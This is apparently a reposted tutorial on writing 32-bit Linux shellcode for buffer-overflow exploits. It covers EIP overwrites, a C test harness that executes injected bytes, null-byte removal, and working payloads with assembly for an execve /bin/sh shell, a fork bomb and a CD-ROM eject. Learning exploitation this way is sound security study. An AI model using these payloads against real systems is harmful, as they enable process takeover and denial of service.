如何写Shell Code

来源:互联网 发布:js中如何获取name属性 编辑:程序博客网 时间:2024/05/16 17:28

Buffer overflows are one of the most common vulnerabilities exploited in programs. However, in order to use the exploit to accomplish anything, shellcode must be used. This tutorial is going to go over shellcoding basics, and some techniques used to create more complicated shellcode. Since this involves some knowledge of assembly code, I would suggest looking at our Assembly primer.

What is shellcode

How does it work

Shellcoding Basics

Examples

  • Open /bin/sh
  • Fork Bomb
  • Eject CDROM

Null Free Shellcoding Techniques

 


What is Shellcode?

Shellcode is essentially machine code that is meant to be injected into a running process. Usually, it is injected using a buffer overflow, such as stack buffer overflows, as a vector. Once injected into the program, the EIP register, which points to the next instruction, is overwritten (in the buffer overflow) to point to a different memory address. This new address will point to the start of the shellcode, causing its execution.

 

How Does Shellcode Work?

Since shellcode is machine code, it is executed just like any other part of a program. The EIP register points to the instruction to be executed. The machine code then tells the CPU exactly what to do. Here’s how shellcode is usually injected into a program, using a stack buffer overflow exploit.

First, the program must have some type of buffer. When the input to this buffer is left unchecked, it is possible to give the buffer a value that requires more memory than the buffer holds. The data then “overflows” into the next variable’s memory. See below for a diagram of a buffer overflow:

How a buffer overflow works. The initial buffer is given a value that is too large to fit, so it overflows into the next variable's memory.

Buffer Overflow

Often, an overflow like this will cause the program to react in a very negative way, usually triggering a segmentation fault. A segmentation fault occurs when a program is trying to access memory that it doesn’t own, so the kernel sends the process a a segmentation fault signal, causing it to quit and dump the core. The core is actually a snapshot of the program right before it exited.

However, if the overflow is carefully manipulated, it can actually be used to insert code into the program without crashing it. This is where shellcode comes in. A critical part of the buffer overflow exploit is to gain control over the value of the instruction pointer, EIP. Since the EIP contains the address of the next instruction to be run, if we overwrite it, we can change the next instruction. Once we gain the ability to change the value of the EIP, we can set it to execute our shellcode.

 

Shellcoding Basics

Shellcode is created by coding in assembly language. From here, the machine code generating from assembling the code is taken and used as the shellcode. Here is a small C program that can be used to test shellcode.

?View Code C
//credits: s3my0n#include <stdio.h>#include <sys/mman.h>#include <string.h>#include <stdlib.h> int (*sc)(); char shellcode[] = ""; int main(int argc, char **argv) {     void *ptr = mmap(0, sizeof(shellcode),            PROT_EXEC | PROT_WRITE | PROT_READ, MAP_ANON            | MAP_PRIVATE, -1, 0);     if (ptr == MAP_FAILED) {        perror("mmap");        exit(-1);    }     memcpy(ptr, shellcode, sizeof(shellcode));    sc = ptr;     sc();     return 0;}

This program will allow us to test our shellcode by putting it in the “shellcode” character array. While older operating systems would often allows us to run the shellcode using a system of pointers, modern systems restrict executing code located inside the stack, which forces us to use the above method.

The first piece of shellcode we are going to create is one that simply exits from the program. The first step to create the shellcode is to write a program that accomplishes this in assembly.

?View Code ASM
section .datasection .textglobal _start _start:mov eax, 1mov ebx, 0int 0x80

Assembly it as an ELF file using nasm (nasm -f elf exit.asm). For a nice assembler language video, check outAssembly Language for Hackers. Next, link it using ld (ld exit.o). The resulting binary simply exits with an exit status of 0. To get the shellcode from the assembly, we’re going to disassemble the binary using objdump -d. The output should be something like this:

a.out:     file format elf32-i386Disassembly of section .text:08048060 <_start>: 8048060:b8 01 00 00 00       mov    $0x1,%eax 8048065:bb 00 00 00 00       mov    $0x0,%ebx 804806a:cd 80                int    $0x80

The machine code (second column) is what we’re after. However, this shellcode would actually be unusable. Why? There are several null bytes (00) in the machine code. Null bytes often signify the end of a string, meaning if this shellcode were injected in a program, it would stop reading the code at the first null byte, ignoring everything afterward. Lets go back to our assembly code and try to change it to prevent the use of null bytes.

?View Code ASM
 section .datasection .textglobal _start _start: xor eax, eaxinc eaxxor ebx, ebxint 0x80

After we assemble and link it again, we’re going to use objdump again to look at the machine code. Now we get this:

8048060:31 c0                xor    %eax,%eax 8048062:40                   inc    %eax 8048063:31 db                xor    %ebx,%ebx 8048065:cd 80                int    $0x80

No null bytes there! So lets copy and paste the machine code into our C program to test it out. The line declaring shellcode[] should now look like this:

char shellcode[] = "\x31\xc0\x40\x31\xdb\xcd\x80";

After compiling it, running it shows that the shellcode is successfully executed, and the program exits gracefully with a status of 0. Congratulations! You just wrote your first piece of shellcode. If you were to share it, you would show others the machine code portion, or \x31\xc0\x40\x31\xdb\xcd\x80.

 

Examples

Here are some example pieces of shellcode for accomplishing various tasks. I included the assembly and shellcode for each example.

Open a Shell Assembly & Shellcode

 
Written by: kernel_panik

?View Code ASM
xor ecx, ecx mul ecx push ecx push 0x68732f2f   push 0x6e69622f  mov ebx, esp mov al, 11 int 0x80

 
Shellcode:\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80

 

Fork Bomb Assembly & Shellcode

 

?View Code ASM
section .datasection .textglobal _start _start:xor ebx, ebxinc ebxinc ebxpush ebxxor ebx, ebxpop eaxint 0x80jmp _start

 
Shellcode: \x31\xdb\x43\x43\x53\x31\xdb\x58\xcd\x80\xe9\xf1\xff\xff\xff

 
 

Eject CDROM Assembly & Shellcode

 
Written by: root@thegibson

?View Code ASM
section .text    global _start _start:    ; open("/dev/cdrom", O_RDONLY | O_NONBLOCK);    mov al, 5    cdq    push edx    push word 0x6d6f    push dword 0x7264632f    push dword 0x7665642f    mov ebx, esp    mov cx, 0xfff    sub cx, 0x7ff    int 0x80     ; ioctl(fd, CDROMEJECT, 0);    mov ebx, eax    mov al, 54    mov cx, 0x5309    cdq    int 0x80

 
Shellcode:\xb0\x05\x99\x52\x66\x68\x6f\x6d\x68\x2f\x63\x64\x72\x68\x2f\x64\x65\x76\x89\xe3\x66\xb9\xff\x0f\x66\x81\xe9\xff\
x07\xcd\x80\x89\xc3\xb0\x36\x66\xb9\x09\x53\x99\xcd\x80

 
 

Null Byte Free Shellcoding Techniques

A large part of shellcoding is solving the puzzle of how to remove null bytes from your shellcode. Here are a few techniques that accomplish common tasks in assembly language without the use of null bytes.

Setting a Register to Zero
Rather than setting a register to 0 using a constant, use operations that you know will result in a zero. For example, xoring anything against itself will always result in zero. So, this will effectively set the eax register to zero:

?View Code ASM
xor eax, eax

 
Polymorphic Shellcode
Sometimes, removing null bytes can be nearly impossible. In this case, you can try polymorphic shellcode, that is, shellcode that changes itself. On runtime, the shellcode can alter itself to include the null bytes, even though the original code does not contain them.

 
Setting a Register to One
Again, rather than using a constant, use operations that are built into assembly language. Having a register set to 1 is useful for interrupts such as 0×80, where an eax value of 1 will result in the sys_exit call. Here, we set the eax register to 1 using inc to add 1 to the current value. Note that we also use xor to set the register to 0 first, ensuring that the register is incremented to 1.

?View Code ASM
xor eax, eaxinc eax

 

原创粉丝点击